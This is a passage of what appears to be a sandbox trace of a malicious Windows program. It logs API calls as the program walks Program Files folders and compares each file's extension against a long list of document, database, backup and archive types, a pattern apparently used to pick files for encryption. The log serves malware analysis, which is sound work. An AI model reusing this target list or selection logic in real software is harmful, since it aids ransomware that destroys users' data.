lpString2=".dll") returned 1 [0089.129] lstrlenW (lpString=".pff") returned 4 [0089.129] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1 [0089.129] lstrlenW (lpString=".pfm") returned 4 [0089.129] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1 [0089.129] lstrlenW (lpString=".pfx") returned 4 [0089.129] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1 [0089.129] lstrlenW (lpString=".pgm") returned 4 [0089.129] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1 [0089.129] lstrlenW (lpString=".php") returned 4 [0089.129] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1 [0089.129] lstrlenW (lpString=".php3") returned 5 [0089.129] lstrcmpiW (lpString1=".php3", lpString2="s.dll") returned -1 [0089.129] lstrlenW (lpString=".php4") returned 5 [0089.129] lstrcmpiW (lpString1=".php4", lpString2="s.dll") returned -1 [0089.129] lstrlenW (lpString=".php5") returned 5 [0089.129] lstrcmpiW (lpString1=".php5", lpString2="s.dll") returned -1 [0089.129] lstrlenW (lpString=".phtml") returned 6 [0089.129] lstrcmpiW (lpString1=".phtml", lpString2="us.dll") returned -1 [0089.129] lstrlenW (lpString=".pict") returned 5 [0089.129] lstrcmpiW (lpString1=".pict", lpString2="s.dll") returned -1 [0089.129] lstrlenW (lpString=".pl") returned 3 [0089.129] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1 [0089.129] lstrlenW (lpString=".pls") returned 4 [0089.130] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1 [0089.130] lstrlenW (lpString=".pm") returned 3 [0089.130] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1 [0089.130] lstrlenW (lpString=".png") returned 4 [0089.130] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0089.130] lstrlenW (lpString=".pnm") returned 4 [0089.130] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1 [0089.130] lstrlenW (lpString=".pot") returned 4 [0089.130] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1 [0089.130] lstrlenW (lpString=".potm") returned 5 [0089.130] lstrcmpiW (lpString1=".potm", lpString2="s.dll") returned -1 [0089.130] lstrlenW (lpString=".potx") returned 5 [0089.130] lstrcmpiW (lpString1=".potx", lpString2="s.dll") returned -1 [0089.130] lstrlenW (lpString=".ppa") returned 4 [0089.130] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1 [0089.130] lstrlenW (lpString=".ppam") returned 5 [0089.130] lstrcmpiW (lpString1=".ppam", lpString2="s.dll") returned -1 [0089.130] lstrlenW (lpString=".ppm") returned 4 [0089.130] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1 [0089.130] lstrlenW (lpString=".pps") returned 4 [0089.130] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1 [0089.130] lstrlenW (lpString=".ppsm") returned 5 [0089.130] lstrcmpiW (lpString1=".ppsm", lpString2="s.dll") returned -1 [0089.130] lstrlenW (lpString=".ppt") returned 4 [0089.130] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0089.130] lstrlenW (lpString=".pptm") returned 5 [0089.131] lstrcmpiW (lpString1=".pptm", lpString2="s.dll") returned -1 [0089.131] lstrlenW (lpString=".pptx") returned 5 [0089.131] lstrcmpiW (lpString1=".pptx", lpString2="s.dll") returned -1 [0089.131] lstrlenW (lpString=".prn") returned 4 [0089.131] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1 [0089.131] lstrlenW (lpString=".ps") returned 3 [0089.131] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1 [0089.131] lstrlenW (lpString=".psb") returned 4 [0089.131] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1 [0089.131] lstrlenW (lpString=".psd") returned 4 [0089.131] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1 [0089.131] lstrlenW (lpString=".pst") returned 4 [0089.131] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1 [0089.131] lstrlenW (lpString=".ptx") returned 4 [0089.131] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1 [0089.131] lstrlenW (lpString=".pub") returned 4 [0089.131] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1 [0089.398] lstrlenW (lpString=".pwm") returned 4 [0089.398] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1 [0089.398] lstrlenW (lpString=".pxr") returned 4 [0089.398] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1 [0089.398] lstrlenW (lpString=".py") returned 3 [0089.398] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1 [0089.398] lstrlenW (lpString=".qt") returned 3 [0089.398] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1 [0089.398] lstrlenW (lpString=".r3d") returned 4 [0089.398] lstrcmpiW (lpString1=".r3d", lpString2=".dll") returned 1 [0089.398] lstrlenW (lpString=".raf") returned 4 [0089.398] lstrcmpiW (lpString1=".raf", lpString2=".dll") returned 1 [0089.398] lstrlenW (lpString=".rar") returned 4 [0089.398] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0089.398] lstrlenW (lpString=".raw") returned 4 [0089.398] lstrcmpiW (lpString1=".raw", lpString2=".dll") returned 1 [0089.398] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x514a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="concrt140.dll", cAlternateFileName="CONCRT~1.DLL")) returned 1 [0089.398] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbd783a00, ftLastWriteTime.dwHighDateTime=0x1d0d7e5, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="i640.hash", cAlternateFileName="I640~1.HAS")) returned 1 [0089.399] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x808dbb6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x808dbb6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbc470d00, ftLastWriteTime.dwHighDateTime=0x1d0d7e5, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="i641033.hash", cAlternateFileName="I64103~1.HAS")) returned 1 [0089.399] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbe3eab00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x10ae80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IntegratedOffice.exe", cAlternateFileName="INTEGR~1.EXE")) returned 1 [0089.399] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b8a5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b8a5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xa2e72000, ftLastWriteTime.dwHighDateTime=0x1d0b361, nFileSizeHigh=0x0, nFileSizeLow=0x578d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MavInject32.exe", cAlternateFileName="MAVINJ~1.EXE")) returned 1 [0089.400] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b8a5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b8a5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8745c00, ftLastWriteTime.dwHighDateTime=0x1d0d7aa, nFileSizeHigh=0x0, nFileSizeLow=0x2ffa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="mso20win32client.dll", cAlternateFileName="MSO20W~1.DLL")) returned 1 [0089.400] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80bb0837, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80bb0837, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xad6b600, ftLastWriteTime.dwHighDateTime=0x1d0d7aa, nFileSizeHigh=0x0, nFileSizeLow=0x475e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="mso30win32client.dll", cAlternateFileName="MSO30W~1.DLL")) returned 1 [0089.400] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80bfccf1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80bfccf1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb7179d00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x307ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mso40uires.dll", cAlternateFileName="MSO40U~1.DLL")) returned 1 [0089.400] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c22f4a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80c22f4a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x10cc9700, ftLastWriteTime.dwHighDateTime=0x1d0d7aa, nFileSizeHigh=0x0, nFileSizeLow=0x8e6060, dwReserved0=0x0, dwReserved1=0x0, cFileName="mso40uiwin32client.dll", cAlternateFileName="MSO40U~2.DLL")) returned 1 [0089.400] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x808dbb6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x808dbb6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x11fdc400, ftLastWriteTime.dwHighDateTime=0x1d0d7aa, nFileSizeHigh=0x0, nFileSizeLow=0xee60, dwReserved0=0x0, dwReserved1=0x0, cFileName="msointl30.en-us.dll", cAlternateFileName="MSOINT~1.DLL")) returned 1 [0089.400] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c9565a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80c9565a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1909ea00, ftLastWriteTime.dwHighDateTime=0x1d098bf, nFileSizeHigh=0x0, nFileSizeLow=0xa12a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp120.dll", cAlternateFileName="")) returned 1 [0089.400] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cbb8b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80cbb8b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x9b0a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp140.dll", cAlternateFileName="")) returned 1 [0089.401] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cbb8b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80cbb8b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b6c4400, ftLastWriteTime.dwHighDateTime=0x1d098bf, nFileSizeHigh=0x0, nFileSizeLow=0xeb2a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr120.dll", cAlternateFileName="")) returned 1 [0089.401] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cbb8b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80cbb8b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb7179d00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x5b1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeC2RClient.exe", cAlternateFileName="OFFICE~1.EXE")) returned 1 [0089.401] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d07d85, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d07d85, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb7179d00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0xf34d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeC2RCom.dll", cAlternateFileName="OFFICE~1.DLL")) returned 1 [0089.401] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d07d85, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d07d85, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbd0d7e00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x2a5e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeClickToRun.exe", cAlternateFileName="OFFICE~2.EXE")) returned 1 [0089.401] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3f141b52, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x12ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeUpdateSchedule.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0089.401] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3fa7ec8f, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x1162, dwReserved0=0x0, dwReserved1=0x0, cFileName="ServiceWatcherSchedule.xml", cAlternateFileName="SERVIC~1.XML")) returned 1 [0089.401] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbe3eab00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x101458, dwReserved0=0x0, dwReserved1=0x0, cFileName="StreamServer.dll", cAlternateFileName="STREAM~1.DLL")) returned 1 [0089.402] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0xefec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ucrtbase.dll", cAlternateFileName="")) returned 1 [0089.402] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d7a486, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d7a486, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x5f4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vccorlib140.dll", cAlternateFileName="VCCORL~1.DLL")) returned 1 [0089.402] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d7a486, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d7a486, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x15ab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 1 [0089.402] FindNextFileW (in: hFindFile=0x4260710, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d7a486, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d7a486, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x15ab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 0 [0089.402] FindClose (in: hFindFile=0x4260710 | out: hFindFile=0x4260710) returned 1 [0089.402] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0089.402] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ink", cAlternateFileName="")) returned 1 [0089.403] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0089.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink") returned 50 [0089.403] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\*", lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260290 [0089.404] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.404] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe462e472, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe462e472, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xc137d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1 [0089.404] lstrlenW (lpString="Alphabet.xml") returned 12 [0089.404] lstrlenW (lpString=".1cd") returned 4 [0089.404] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0089.404] lstrlenW (lpString=".3ds") returned 4 [0089.404] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0089.404] lstrlenW (lpString=".3fr") returned 4 [0089.404] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0089.404] lstrlenW (lpString=".3g2") returned 4 [0089.404] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0089.404] lstrlenW (lpString=".3gp") returned 4 [0089.404] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0089.404] lstrlenW (lpString=".7z") returned 3 [0089.404] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0089.404] lstrlenW (lpString=".accda") returned 6 [0089.404] lstrcmpiW (lpString1=".accda", lpString2="et.xml") returned -1 [0089.404] lstrlenW (lpString=".accdb") returned 6 [0089.404] lstrcmpiW (lpString1=".accdb", lpString2="et.xml") returned -1 [0089.404] lstrlenW (lpString=".accdc") returned 6 [0089.404] lstrcmpiW (lpString1=".accdc", lpString2="et.xml") returned -1 [0089.404] lstrlenW (lpString=".accde") returned 6 [0089.404] lstrcmpiW (lpString1=".accde", lpString2="et.xml") returned -1 [0089.405] lstrlenW (lpString=".accdt") returned 6 [0089.405] lstrcmpiW (lpString1=".accdt", lpString2="et.xml") returned -1 [0089.405] lstrlenW (lpString=".accdw") returned 6 [0089.405] lstrcmpiW (lpString1=".accdw", lpString2="et.xml") returned -1 [0089.405] lstrlenW (lpString=".adb") returned 4 [0089.405] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0089.405] lstrlenW (lpString=".adp") returned 4 [0089.405] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0089.405] lstrlenW (lpString=".ai") returned 3 [0089.405] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0089.405] lstrlenW (lpString=".ai3") returned 4 [0089.405] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0089.405] lstrlenW (lpString=".ai4") returned 4 [0089.405] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0089.405] lstrlenW (lpString=".ai5") returned 4 [0089.405] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0089.405] lstrlenW (lpString=".ai6") returned 4 [0089.405] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0089.405] lstrlenW (lpString=".ai7") returned 4 [0089.405] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0089.405] lstrlenW (lpString=".ai8") returned 4 [0089.405] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0089.405] lstrlenW (lpString=".anim") returned 5 [0089.405] lstrcmpiW (lpString1=".anim", lpString2="t.xml") returned -1 [0089.405] lstrlenW (lpString=".arw") returned 4 [0089.405] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0089.405] lstrlenW (lpString=".as") returned 3 [0089.405] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0089.405] lstrlenW (lpString=".asa") returned 4 [0089.405] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0089.405] lstrlenW (lpString=".asc") returned 4 [0089.405] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0089.405] lstrlenW (lpString=".ascx") returned 5 [0089.406] lstrcmpiW (lpString1=".ascx", lpString2="t.xml") returned -1 [0089.406] lstrlenW (lpString=".asm") returned 4 [0089.406] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0089.406] lstrlenW (lpString=".asmx") returned 5 [0089.406] lstrcmpiW (lpString1=".asmx", lpString2="t.xml") returned -1 [0089.406] lstrlenW (lpString=".asp") returned 4 [0089.406] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0089.406] lstrlenW (lpString=".aspx") returned 5 [0089.406] lstrcmpiW (lpString1=".aspx", lpString2="t.xml") returned -1 [0089.406] lstrlenW (lpString=".asr") returned 4 [0089.406] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0089.406] lstrlenW (lpString=".asx") returned 4 [0089.406] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0089.406] lstrlenW (lpString=".avi") returned 4 [0089.406] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0089.406] lstrlenW (lpString=".avs") returned 4 [0089.406] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0089.406] lstrlenW (lpString=".backup") returned 7 [0089.406] lstrcmpiW (lpString1=".backup", lpString2="bet.xml") returned -1 [0089.406] lstrlenW (lpString=".bak") returned 4 [0089.406] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0089.406] lstrlenW (lpString=".bay") returned 4 [0089.406] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0089.406] lstrlenW (lpString=".bd") returned 3 [0089.406] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0089.406] lstrlenW (lpString=".bin") returned 4 [0089.406] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0089.406] lstrlenW (lpString=".bmp") returned 4 [0089.406] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0089.406] lstrlenW (lpString=".bz2") returned 4 [0089.406] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0089.406] lstrlenW (lpString=".c") returned 2 [0089.407] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0089.407] lstrlenW (lpString=".cdr") returned 4 [0089.407] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0089.407] lstrlenW (lpString=".cer") returned 4 [0089.407] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0089.407] lstrlenW (lpString=".cf") returned 3 [0089.407] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0089.407] lstrlenW (lpString=".cfc") returned 4 [0089.407] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0089.407] lstrlenW (lpString=".cfm") returned 4 [0089.407] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0089.407] lstrlenW (lpString=".cfml") returned 5 [0089.407] lstrcmpiW (lpString1=".cfml", lpString2="t.xml") returned -1 [0089.407] lstrlenW (lpString=".cfu") returned 4 